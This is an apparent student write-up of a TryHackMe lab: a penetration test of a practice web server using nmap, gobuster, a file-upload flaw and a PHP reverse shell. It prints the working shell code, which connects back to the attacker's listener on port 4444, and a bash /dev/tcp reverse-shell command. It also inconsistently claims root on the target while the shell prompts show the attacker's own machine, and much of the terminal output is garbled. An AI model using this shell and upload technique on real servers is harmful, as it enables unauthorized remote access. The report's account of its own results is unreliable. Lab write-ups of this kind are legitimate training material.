# Bhanu Teja

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# **Ethical Hacking Report**

# 1. Reconnaissance and Target Analysis

### **Target Environment**

This assessment was conducted on a TryHackMe virtual machine, simulating a Small and Medium Enterprise (SME) office setup. The **target IP address was 10.10.187.209**, and all commands and exploitation activities were performed from the attacking Kali Linux machine.

I also connected to a reverse shell received on the attacker's listener bound to **port 4444**, with the session identifying as root@ip-10-10-188-100.

### **Initial Scanning**

First began with an Nmap scan to identify open services:

nmap -sV -p- -oN fullscan.txt 10.10.187.209

```
File Edit View Search Terminal Help

root@ip-10-10-188-100:~# nmap -sV -Pn -p- 10.10.187.209 -oN full_scan.txt

Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-20 12:03 BST

Stats: 000:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan

ARP Ping Scan Timing: About 100.00% done; ETC: 12:03 (0:00:00 remaining)

Nmap scan report for ip-10-10-187-209.eu-west-1.compute.internal (10.10.187.209)

Host is up (0.0035s latency).

Not shown: 65529 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.5

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

139/tcp open netbios-ssn Samba smbd 4.6.2

445/tcp open netbios-ssn Samba smbd 4.6.2

3128/tcp open http-proxy Squid http proxy 4.10

3333/tcp open http-proxy Squid http proxy 4.10

3333/tcp open http Apache httpd 2.4.41 ((Ubuntu))

MAC Address: 02:68:E1:E8:BC:23 (Unknown)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Prvice detection performed. Please report any incorrect results at https://nmap.org/submit/.

ap done: 1 IP address (1 host up) scanned in 26.02 seconds

-oot@ip-10-10-188-100:~#
```

#### **Findings:**

• Port 21 – FTP (Anonymous login enabled)

- Port 22 SSH (Open)
- Port 80 HTTP (Apache/2.4.41)

### **Web Enumeration with Curl**

Next, we checked the HTTP response headers and server behavior:

curl -I http://10.10.187.209:3333

```
root@ip-10-10-188-100:~# curl -I http://10.10.187.209:3333
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 11:05:42 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 31 Jul 2019 22:44:06 GMT
ETag: "80f6-58f01dcd2b575"
Accept-Ranges: bytes
Content-Length: 33014
Vary: Accept-Encoding
Content-Type: text/html

root@ip-10-10-188-100:~#
root@ip-10-10-188-100:~#
```

This confirmed Apache version 2.4.41 running on port 3333.

### **Directory Brute Forcing**

And then ran GoBuster to enumerate accessible directories:

gobuster dir -u http://10.10.187.209:3333 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt

#### **Discovered directories:**

- /internal
- /images, /fonts, /js, /css
- /index.html

# 2. Exploitation

### File Upload Exploit

After inspecting the /internal/index.php page using:

curl http://10.10.187.209:3333/internal/index.php

```
cynth:
root@ip-10-10-188-100:~#
root@ip-10-10-188-100:~# wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -0 shell.phtml
--2025-07-20 12:08:06-- https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com).. 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443...
^C
root@ip-10-10-188-100:~# nano shell.phtml
root@ip-10-10-188-100:~#
```

... observed a file upload field.

We created a web shell named shell phtml using the following payload:

### Web Shell Upload (Reverse Shell)

After discovering that the /internal/index.php page allowed file uploads, I attempted to upload a PHP reverse shell to gain remote access.

Initially, I tried using the wget command to download the reverse shell from my own server, but the target machine did not have wget installed. So instead, I manually created the file using nano:

nano shell.phtml

I then pasted the following reverse shell code:

```
<?php
set_time_limit(0);
$ip = '10.10.188.100'; // My IP address (listener)
$port = 4444; // Port where my netcat listener was active
$sock = fsockopen($ip, $port);
$proc = proc_open("/bin/sh -i", [
    0 => $sock,
    1 => $sock,
    2 => $sock
], $pipes);
?>
```

This code tells the target server to initiate a connection back to my machine on port 4444 and provide a remote shell. Once the file was uploaded successfully to /internal/uploads/, I triggered it from my browser and received a connection on my netcat listener.

Then uploaded it using:

curl -F 'file=@shell.phtml' http://10.10.187.209:3333/internal/index.php

We confirmed it uploaded successfully:

curl http://10.10.187.209:3333/internal/uploads/shell.phtml

```
Cot@ip-10-10-188-100:-#
cot@ip-10-10-188-100:-# curl http://10.10.187.209:3333/internal/uploads/
1DOCTYPE THML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
html>
<head>
<tittle>Index of /internal/uploads</hl>
<head>
<he>
<
```

### **Reverse Shell Connection**

We set up a listener:

### nc -lvnp 4444

Then triggered the shell from the web:

curl http://10.10.187.209:3333/internal/uploads/shell.phtml?cmd=bash -i >& /dev/tcp/10.10.XXX.XXX/4444 0>&1

Once connected, we verified the shell using:

whoami

id

uname -a

Pwd

ls -la

We then began local enumeration:

ls -la /root

ls -la /home

ls -la /home/ubuntu

cat /home/ubuntu/user.txt > /dev/null

```
root
root@lp-10-10-188-100:-# id
uid=0(root) gid=0(root) groups=0(root),998(docker),1001(rvm)
root@lp-10-18-188-100:-# uname -a
Linux ip-10-10-188-100:-# pwd
root@lp-10-10-188-100:-# pwd
CHUK IP-10-10-188-100:-# pwd

/root
/rootelp-10-10-188-100:-# ls -la

total 928

drwxr-xr-x 50 root root 4096 J
drwxr-xr-x 24 root root 4096 J
drwxr-xr-x 3 root root 4096 A
-rw-r--r- 1 root root 4096 A
-rw-r--r- 1 root root 13154 M
-rw-r-- 5 root root 4096 A
-rw-r-- 5 root root 4096 A
-rw-r-- 5 root root 4096 A
-rw-r-- 1 root root 4096 A
-rw-r-- 5 root root 4096 A
-rw-r-- 1 root root 4096 A
-rw-- 2 root root 4096 A
-rw-- 1 root root 4096 A
-rw--- 1 root root 4096 A
                                                                                                                                                          # ls -la

4096 Jul 20 12:26 .
4096 Jul 20 12:01 .
4096 Aug 23 2021 .aspnet
416 Nov 15 2024 .bash_aliases
9 Aug 16 2020 .bash_history -> /dev/null
4238 Jul 22 22:12 .bashrc
4096 Sep 1 2020 .bush_bistory -> /dev/null
13154 May 6 2024 burp.json
4096 Aug 22 2023 .BurpSulte
4096 Jul 20 12:01 .cache
4096 Aug 10 2024 .cargo
4096 Aug 10 2024 .cargo
4096 Aug 10 2020 .dbus
4096 Aug 16 2020 .dbus
4096 Aug 16 2020 .dbus
4096 Aug 17 2020 .drc
4096 Aug 18 2020 .drc
4096 Aug 19 2020 .drc
4096 Nov 19 2024 Downloads
808 Jul 20 12:04 full_scan.txt
4096 Aug 14 2020 .ghdra
4096 Nov 25 2024 .gnupg
811 Jul 20 12:06 gobuster.txt
4096 Feb 11 2022 .gradle
4096 Aug 16 2020 .dyrs
4096 Aug 16 2020 .dyrs
4096 Feb 11 2022 .gradle
4096 Feb 11 2022 .gradle
4096 Feb 11 2022 .gradle
4096 Aug 16 2020 .hashcat
80800 Nov 5 2024 .Icnstallj
4096 May 7 2024 Instructions
4096 Aug 13 2020 .john
5004 4096 May 14 2020 .john
                                                                                                                                                                                      4096 May 16 11:56 .local
4096 Aug 13 2020 .mozilla
4096 Mar 27 10:38 .msf4
4096 Aug 23 2021 .nuget
4096 Aug 23 2021 .nuget
4096 Aug 16 11:27 .nxc
4096 Aug 16 2020 .pki
4096 Aug 16 2020 .pki
4096 Aug 16 2020 .profile
4096 Jun 4 2024 .profile
4096 Jun 4 2024 .pyenv
429 Feb 18 14:29 .python_history
4096 May 16 11:39 .rbenv
4096 Dec 22 2021 .recon-ng
4096 May 23 09:40 Rooms
4096 Aug 17 2020 .rpmdb
      drwx-----
                                                                                        5 root root
 -rw------ 1 root root
drwxr-xr-x 14 root root
    drwxr-xr-x 3 root root
drwxr-xr-x 41 root root
4096 May 23 09:40 Rooms

4096 Aug 17 2020 .rpmdb

4096 Apr 10 2024 .rustup

4096 Jun 22 22:32 Scripts

74 Aug 15 2020 .selected_editor

4096 Feb 22 2021 .set

269 Jul 20 12:26 shell.phtml

4096 May 16 12:34 snap

4096 Nov 5 2024 ssh
    -rw-r--r-- 1 root root
root@ip-10-10-188-100:~#
                                                                                                                                                                                                    21 Apr 10 2024 .zshenv
```

```
root@ip-10-10-188-100:~# ls -la /home
 total 20
drwxr-xr-x 5 root root
                                                                       4096 Aug 17 2020 .
drwxr-xr-x 24 root root
                                                                       4096 Jul 20 12:01 ...
drwx----- 3 root root
                                                                       4096 Aug 16 2020 .cache
drwx----- 3 root root
                                                                       4096 Aug 17
                                                                                                       2020 root
drwxr-xr-x 8 ubuntu ubuntu 4096 Nov 5 2024 ubuntu
 root@ip-10-10-188-100:~#
 root@ip-10-10-188-100:~# ls -la /home
 total 20
drwxr-xr-x 5 root root
                                                                       4096 Aug 17 2020 .
drwxr-xr-x 24 root root
                                                                       4096 Jul 20 12:01 ...
drwx----- 3 root root
                                                                      4096 Aug 16 2020 .cache
drwx----- 3 root root
                                                                       4096 Aug 17 2020 root
drwxr-xr-x 8 ubuntu ubuntu 4096 Nov 5 2024 ubuntu
 root@ip-10-10-188-100:~#
root@ip-10-10-188-100:~# ls -la /home/ubuntu
total 52
drwxr-xr-x 8 ubuntu ubuntu 4096 Nov 5 2024
drwxr-xr-x 5 root root 4096 Aug 17 2020
lrwxrwxrwx 1 ubuntu ubuntu 9 Feb 22 2021 .bash history -> /dev/null
rwxrwxrwx 1 ubuntu ubuntu 9 Feb 22 2021 .bash_nistory -> /dev/null
-rw-r--r- 1 ubuntu ubuntu 220 Apr 4 2018 .bash_logout
-rw-r--r- 1 ubuntu ubuntu 4069 Mar 8 2022 .bashrc
drwx----- 2 ubuntu ubuntu 4096 Feb 22 2021 .cache
drwx----- 4 ubuntu ubuntu 4096 Nov 4 2024 .config
-rw-rw-r- 1 ubuntu ubuntu 746 Jan 24 2024 'Dark Blue to Green Gradient.svg'
drwx----- 3 ubuntu ubuntu 4096 Feb 22 2021 .gnupg
drwxrwxr-x 3 ubuntu ubuntu 4096 Mar 18 2021 .local
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10 2023 .msf4
-rw-r--r- 1 ubuntu ubuntu 807 Apr 4 2018 .profile
drwx----- 2 ubuntu ubuntu 4096 Nov 1 2022 .ssh
-rw-r--r- 1 ubuntu ubuntu 0 Feb 22 2021 .sudo_as_admin_successful
-rw----- 1 ubuntu ubuntu 1407 Nov 5 2024 .Xauthority
root@ip-10-10-188-100:~#
root@ip-10-10-188-100:~#
  evel.txt
rw-r--r-- 2 root root
.dist-info/top_level.txt
rwxr-xr-x 2 root root
rwxr-xr-x 2 root root
rwxr-xr-x 1 root root
                                 9 Jun 6 11:17 /root/.local/share/uv/tools/netexec/lib/python3.13/site-packages/impacket-0.13.0.dev0+20250527.165759.abfaea2
                                18 Jun 6 11:17 /root/.cache/uv/archive-v0/TyVOvhcdH6I4iq_anB-F-/dsinternals-1.2.4.dist-info/top_level.txt
18 Jun 6 11:17 /root/.local/share/uv/tools/netexec/ltb/python3.13/site-packages/dsinternals-1.2.4.dist-info/top_level.txt
576 Jun 6 11:17 /root/.cache/uv/sdists-v9/pypi/dsinternals/1.2.4/s0HH6LiAfncfZSizScu-c/src/dsinternals.egg-info/SOURCES.txt
1 Jun 6 11:17 /root/.cache/uv/sdists-v9/pypi/dsinternals/1.2.4/s0HH6LiAfncfZSizScu-c/src/dsinternals.egg-info/dependency_li
                                         6 11:17 /root/.cache/uv/sdists-v9/pypi/dsinternals/1.2.4/s0MH6LlAfncfZ5iz5Cu-c/src/dsinternals.egg-info/top_level.txt 6 11:17 /root/.cache/uv/archive-v0/SrlYgZU8Fimu-e3JDQR5j/asnitools-0.167.0.dist-info/entry_points.txt 6 11:17 /root/.cache/uv/archive-v0/SrlYgZU8Fimu-e3JDQR5j/asnitools-0.167.0.dist-info/top_level.txt 6 11:17 /root/.local/share/uv/tools/netexec/lib/python3.13/site-packages/asnitools-0.167.0.dist-info/entry_points.txt 6 11:17 /root/.local/share/uv/tools/netexec/lib/python3.13/site-packages/asnitools-0.167.0.dist-info/top_level.txt 6 11:17 /root/.cache/uv/archive-v0/Uet4uUQnQNPAL8NOoPwnM/pyperclip-1.9.0.dist-info/licenses/AUTHORS.txt
  KS.IXT

rwxr-xr-x 1 root root

rw-r--r-- 2 root root
```

## 3. Post-Exploitation

**Privilege Escalation and Flag Discovery** 

We confirmed we had **root access** after the reverse shell. Several sensitive directories and files were inspected, such as:

- /root/.bashrc, /root/.ssh/, and .mozilla/
- /home/ubuntu/.msf4/, .bash history, .ssh/

These show evidence of misconfigurations and acce

```
I got root access on the box!

root@ip-10-10-188-100:-# whoami

root

root@ip-10-10-188-100:-# id

uid=0(root) gid=0(root) groups=0(root),998(docker),1001(rvm)

root@ip-10-10-188-100:-# grep -i -r 'THH{' / 2>/dev/null

Binary file /root/.mozilla/firefox/i3vwiv0e.default-release/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.files/7 matches

Binary file /root/.gradle/wrapper/dists/gradle-6.8-bin/1jblhjyydfkclfzx1agp92nyl/gradle-6.8-bin.zip matches

#* + ① - ① THM AttackBox
```

## 4. Recommendations

- FTP anonymous login should be disabled.
- **Apache server** should be upgraded from 2.4.41 to the latest version.
- File upload validation must be implemented.
- Web root directories must be protected from direct access.
- .bash\_history should not be redirected or cleared to /dev/null.
- Implement least privilege principle for service accounts.
- Disable unused ports and services.
- Set up intrusion detection (e.g., OSSEC or Wazuh).

## 5. Conclusions

We successfully identified and exploited a file upload vulnerability to gain reverse shell access as root. The assessment simulated a real-world exploitation of web vulnerabilities and misconfigured services.

### **Alternate Approaches**

- Exploit via FTP if more files were writable.
- Use Nikto, whatweb, or dirsearch for deeper enumeration.

• Deploy Metasploit for faster post-exploitation automation.